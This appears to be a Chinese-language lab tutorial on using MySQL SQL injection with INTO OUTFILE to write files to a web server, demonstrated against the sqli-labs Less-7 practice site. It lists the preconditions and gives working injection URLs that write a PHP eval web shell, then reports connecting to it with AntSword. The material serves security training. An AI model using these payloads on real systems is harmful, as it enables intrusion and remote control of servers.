SQL注入写文件的三个必要条件
-
Web目录有读写权限:
当目标网站的Web目录具有读写权限时,攻击者可以通过注入恶意SQL语句将恶意文件写入服务器上的Web目录。
-
知道文件的绝对路径:
攻击者需要知道目标系统上的文件的绝对路径,以便将恶意内容写入到指定目录的文件中。
-
secure_file_priv为空或者包含当前目录地址(在my.ini配置):
MySQL数据库服务器配置中的secure_file_priv参数规定了MySQL服务器允许执行INTO OUTFILE写入的目录。如果secure_file_priv为空,或者包含了当前目录地址,攻击者可以将恶意文件写入到该目录中,从而获取对服务器的控制权。
INTO OUTFILE
是MySQL中用于将查询结果输出到文件的语法。它允许将查询结果写入到服务器文件系统中的指定文件。语法如下:
SELECT column1, column2, ...
INTO OUTFILE 'file_path'
FROM table_name
WHERE condition;
实验环境:服务器为Windows Server 2008 R2,数据库版本为MySQL5.7,实验网站为sqli-labs
sqli-labs第七关源码示例
通过源码可以看出,参数后面加上'))
即可闭合参数
SELECT * FROM users WHERE id=(('1'))union select 1,2,3--+)) LIMIT 0,1
随便写一个文件试试:
http://192.168.171.30/sqli/Less-7/?id=1')) union select 1,2,3 into outfile 'C:/www/1.php'--+
虽然前面报错了,但这里查看服务器发现文件成功写入了
这次尝试写入shell
http://192.168.171.30/sqli/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["c"]);?>' into outfile 'C:/www/shell.php'--+
上传成功
用蚁剑连接成功